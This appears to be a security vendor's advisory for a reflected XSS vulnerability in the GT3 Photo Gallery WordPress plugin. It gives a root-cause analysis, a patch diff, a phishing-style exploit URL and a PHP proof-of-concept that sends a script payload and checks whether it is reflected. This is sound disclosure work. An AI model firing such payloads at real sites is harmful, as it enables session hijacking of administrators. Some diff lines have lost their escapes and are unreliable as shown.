Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69084: Photo Gallery <= 2.7.7.26 – Reflected Cross-Site Scripting (gt3-photo-video-gallery)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.7.7.26
Patched Version 2.7.7.27
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-69084:
The Photo Gallery plugin for WordPress, versions up to and including 2.7.7.26, contains a reflected cross-site scripting (XSS) vulnerability. This vulnerability stems from insufficient input sanitization and output escaping in several administrative and frontend components. The CVSS score of 6.1 indicates a medium-severity issue that can be exploited by unauthenticated attackers.

Atomic Edge research identified the root cause as a failure to sanitize or escape user-controlled input before output in multiple locations. The primary vulnerable code paths are in the file `gt3-photo-video-gallery/core/deprecated/gt3pg_updater.php` at lines 120 and 199. The `sl_message` GET parameter is passed through `urldecode()` and then directly echoed to the page without escaping. Another location is in `gt3-photo-video-gallery/core/cpt/gallery/init.php` at line 782, where `$_SERVER[‘REQUEST_URI’]` is directly echoed. The function `gt3pg_attachment_field_credit_save` in `gt3-photo-video-gallery/core/actions/gt3pg_attachment_field_credit_save.php` also lacked URL validation for the `gt3-video-url` and `gt3-external-link-url` fields.

Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in the `sl_message` parameter. The target must be a WordPress administrator or user with access to the plugin’s update or license activation pages. An attacker would send a phishing link like `https://target.com/wp-admin/admin.php?page=gt3_photo_gallery_options&sl_activation=false&sl_message=alert(document.cookie)`. When the victim visits this link, the payload executes in their browser context.

The patch addresses the issue by applying proper escaping functions. In `gt3pg_updater.php`, line 120, `urldecode($_GET[‘sl_message’])` is wrapped with `esc_html()`. Line 199 applies `esc_html()` to the URL-encoded message before adding it to the query string and uses `esc_url()` on the base URL. The patch also adds `esc_url_raw()` to URL meta field saves in `gt3pg_attachment_field_credit_save.php` and `esc_url()` to image source outputs in `gallery/init.php`. The `gt3pg_wp_head()` function was hardened against style tag injection.

Successful exploitation leads to arbitrary JavaScript execution in the context of the victim’s browser session. For an administrator, this can result in session hijacking, site defacement, privilege escalation, or the creation of backdoor administrator accounts. The attack is reflected, requiring user interaction, but it poses a significant risk due to the potential for complete site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/gt3-photo-video-gallery/core/actions/gt3pg_attachment_field_credit_save.php
+++ b/gt3-photo-video-gallery/core/actions/gt3pg_attachment_field_credit_save.php
@@ -5,10 +5,10 @@

 	function gt3pg_attachment_field_credit_save( $post, $attachment ) {
 		if ( isset( $attachment['gt3-video-url'] ) ) {
-			update_post_meta( $post['ID'], 'gt3_video_url', $attachment['gt3-video-url'] );
+			update_post_meta( $post['ID'], 'gt3_video_url', esc_url_raw( $attachment['gt3-video-url'] ) );
 		}
 		if ( isset( $attachment['gt3-external-link-url'] ) ) {
-			update_post_meta( $post['ID'], 'gt3_external_link_url', $attachment['gt3-external-link-url'] );
+			update_post_meta( $post['ID'], 'gt3_external_link_url', esc_url_raw( $attachment['gt3-external-link-url'] ) );
 		}

 		return $post;
--- a/gt3-photo-video-gallery/core/actions/gt3pg_wp_head.php
+++ b/gt3-photo-video-gallery/core/actions/gt3pg_wp_head.php
@@ -7,6 +7,8 @@
 	function gt3pg_wp_head() {
 		$settings = Settings::instance()->getSettings('basic');
 		if (is_array($settings) && key_exists('gt3pg_text_before_head', $settings) && !empty($settings['gt3pg_text_before_head'])) {
-			echo "<style>" . $settings['gt3pg_text_before_head'] . "</style>n";
+			// Escape closing style tag to prevent XSS while preserving valid CSS
+			$css = str_replace( '</style', '</style', $settings['gt3pg_text_before_head'] );
+			echo "<style>" . $css . "</style>n";
 		}
 	}
--- a/gt3-photo-video-gallery/core/class-assets.php
+++ b/gt3-photo-video-gallery/core/class-assets.php
@@ -220,7 +220,7 @@
 	}

 	protected function elementor_recursive_style($data){
-		if(in_array($data['elType'], array( 'section', 'column' ))) {
+		if(in_array($data['elType'], array( 'section', 'container', 'column' ))) {
 			foreach($data['elements'] as $modules) {
 				$this->elementor_recursive_style($modules);
 			}
@@ -313,7 +313,7 @@
 		foreach($block['innerBlocks'] as $chunk) {
 			$this->blocks_print_styles($chunk);
 		}
-
+
 		if(array_key_exists('blockName', $block) && is_string($block['blockName'])
 		   && strpos($block['blockName'], 'gt3pg') !== false) {
 			$module = str_replace('gt3pg-pro/', '', $block['blockName']);
@@ -345,9 +345,9 @@
 			filemtime(GT3PG_LITE_JS_PATH.'gutenberg/editor.js'),
 			true
 		);
-
+
 		$this->register_script__action();
-
+
 		$settings = Settings::instance();

 		wp_localize_script(
@@ -374,7 +374,7 @@
 		);

 		$this->frontend_gutenberg();
-
+
 		wp_enqueue_style('gt3pg-lite-frontend');
 		wp_enqueue_script('gt3pg-lite-frontend');

--- a/gt3-photo-video-gallery/core/cpt/gallery/init.php
+++ b/gt3-photo-video-gallery/core/cpt/gallery/init.php
@@ -779,12 +779,12 @@
 		}

 		public function manage_posts_custom_column($column, $post_id){
-			$this_url = $_SERVER['REQUEST_URI'];
+			$this_url = esc_url_raw( $_SERVER['REQUEST_URI'] );
 			switch($column) {
 				case 'thumbnail':
 					if(get_post_thumbnail_id($post_id)) {
 						$img_src = wp_get_attachment_image_src(get_post_thumbnail_id($post_id));
-						echo '<img width="50" height="50" src="'.$img_src[0].'" />';
+						echo '<img width="50" height="50" src="'.esc_url($img_src[0]).'" />';
 					} else {
 						$gallery = self::get_gallery_images($post_id);
 						$echo    = '';
@@ -798,7 +798,7 @@
 								}
 								$img_src = wp_get_attachment_image_src($image_id);
 								if (is_array($img_src)) {
-									$echo = '<img width="50" height="50" src="'.$img_src[0].'" />';
+									$echo = '<img width="50" height="50" src="'.esc_url($img_src[0]).'" />';
 								}
 								if(!empty($echo)) {
 									break;
@@ -1162,7 +1162,7 @@

 		public function get_template($templates){
 			$object = get_queried_object();
-			if($object->post_type === self::post_type) {
+			if ($object && isset($object->post_type) && $object->post_type === self::post_type) {
 				if(is_array($templates) && count($templates)) {
 					foreach($templates as &$template) {
 						$template = str_replace('single', 'page', $template);
@@ -1176,5 +1176,4 @@
 	}

 	GT3_Post_Type_Gallery::instance();
-}
-
+}
 No newline at end of file
--- a/gt3-photo-video-gallery/core/deprecated/GT3_EDD_SL_Plugin_Updater.php
+++ b/gt3-photo-video-gallery/core/deprecated/GT3_EDD_SL_Plugin_Updater.php
@@ -491,7 +491,7 @@
 				return false; // Cache is expired
 			}

-			return unserialize( $cache['value'] );
+			return maybe_unserialize( $cache['value'] );

 		}

--- a/gt3-photo-video-gallery/core/deprecated/gt3pg_updater.php
+++ b/gt3-photo-video-gallery/core/deprecated/gt3pg_updater.php
@@ -118,7 +118,7 @@
 				if ( isset( $_GET['sl_activation'] ) && ! empty( $_GET['sl_message'] ) ) {
 					switch ( $_GET['sl_activation'] ) {
 						case 'false':
-							echo '<div class="error"><p>' . urldecode( $_GET['sl_message'] ) . '</p></div>';
+							echo '<div class="error"><p>' . esc_html(urldecode( $_GET['sl_message'] )) . '</p></div>';
 							break;
 						case 'true':
 						default:
@@ -197,7 +197,7 @@
 					}
 					$base_url = $this->get_menu_page();
 					if ( ! empty( $message ) ) {
-						$redirect = add_query_arg( array( 'sl_activation' => 'false', 'sl_message' => urlencode( $message ) ), $base_url );
+						$redirect = add_query_arg( array( 'sl_activation' => 'false', 'sl_message' => esc_html(urlencode( $message )) ), esc_url($base_url) );
 						wp_redirect( $redirect );
 						exit();
 					}
--- a/gt3-photo-video-gallery/core/deprecated/notice.php
+++ b/gt3-photo-video-gallery/core/deprecated/notice.php
@@ -4,7 +4,7 @@
 add_action('wp_ajax_gt3pg_disable_notice_pro_required_update', 'wp_ajax_gt3pg_disable_notice_pro_required_update');

 function wp_ajax_gt3pg_disable_notice_pro_required_update(){
-	if(!isset($_POST['gt3_action']) || !isset($_POST['_nonce']) || wp_verify_nonce($_POST['_nonce'],'disable_notice_pro_required_update')) {
+	if(!isset($_POST['gt3_action']) || !isset($_POST['_nonce']) || !wp_verify_nonce($_POST['_nonce'],'disable_notice_pro_required_update')) {
 		wp_die(0);
 	}
 			update_option('gt3pg_disable_notice_pro_required_update', true);
--- a/gt3-photo-video-gallery/gt3-photo-video-gallery.php
+++ b/gt3-photo-video-gallery/gt3-photo-video-gallery.php
@@ -4,7 +4,7 @@
  ** Plugin URI: https://gt3themes.com/
  ** Description: This powerful plugin lets you extend the functionality of the default WordPress gallery. You can easily customize the look and feel of the photo or video gallery.
  ** Discover the power of GT3themes products.
- ** Version: 2.7.7.26
+ ** Version: 2.7.7.27
  ** Author: GT3 Photo Gallery
  ** Author URI: https://gt3themes.com/
  ** Text Domain: gt3pg
--- a/gt3-photo-video-gallery/plugin.php
+++ b/gt3-photo-video-gallery/plugin.php
@@ -77,7 +77,7 @@
 	add_menu_page(
 		apply_filters('gt3pg_menu_page_title', 'GT3 Gallery Lite'),
 		apply_filters('gt3pg_menu_title', 'GT3 Gallery Lite'),
-		'administrator',
+		'manage_options',
 		'gt3_photo_gallery_options',
 		'gt3pg_plugin_options',
 		Assets::get_dist_url().'img/logo.png',
--- a/gt3-photo-video-gallery/rate.php
+++ b/gt3-photo-video-gallery/rate.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 if (get_option('gt3pg_disable_rate_notice')) return;
 $rate_time = get_option('gt3_rate_date');
 if ($rate_time == false) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69084 - Photo Gallery <= 2.7.7.26 - Reflected Cross-Site Scripting
<?php
// Configure the target WordPress site URL
$target_url = 'http://target-wordpress-site.com';

// Craft the malicious link targeting the plugin's license activation error handler.
// The 'sl_activation' parameter must be 'false' to trigger the vulnerable code path.
// The 'sl_message' parameter contains the URL-encoded XSS payload.
$payload = '<script>alert("XSS via CVE-2025-69084")</script>';
$encoded_payload = urlencode($payload);

// Construct the full exploit URL. The exact admin page may vary.
$exploit_url = $target_url . '/wp-admin/admin.php?page=gt3_photo_gallery_options&sl_activation=false&sl_message=' . $encoded_payload;

// Use cURL to send the request and verify the payload is reflected unsanitized.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Follow redirects if any
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Optionally set a user-agent to mimic a real browser
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Atomic Edge PoC');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the raw payload appears in the response body (indicating vulnerability).
if (strpos($response, $payload) !== false) {
    echo "[+] VULNERABLE: Payload found in response.n";
    echo "[+] Exploit URL: $exploit_urln";
} else {
    echo "[-] Target may be patched or the page structure differs.n";
    echo "[-] HTTP Code: $http_coden";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School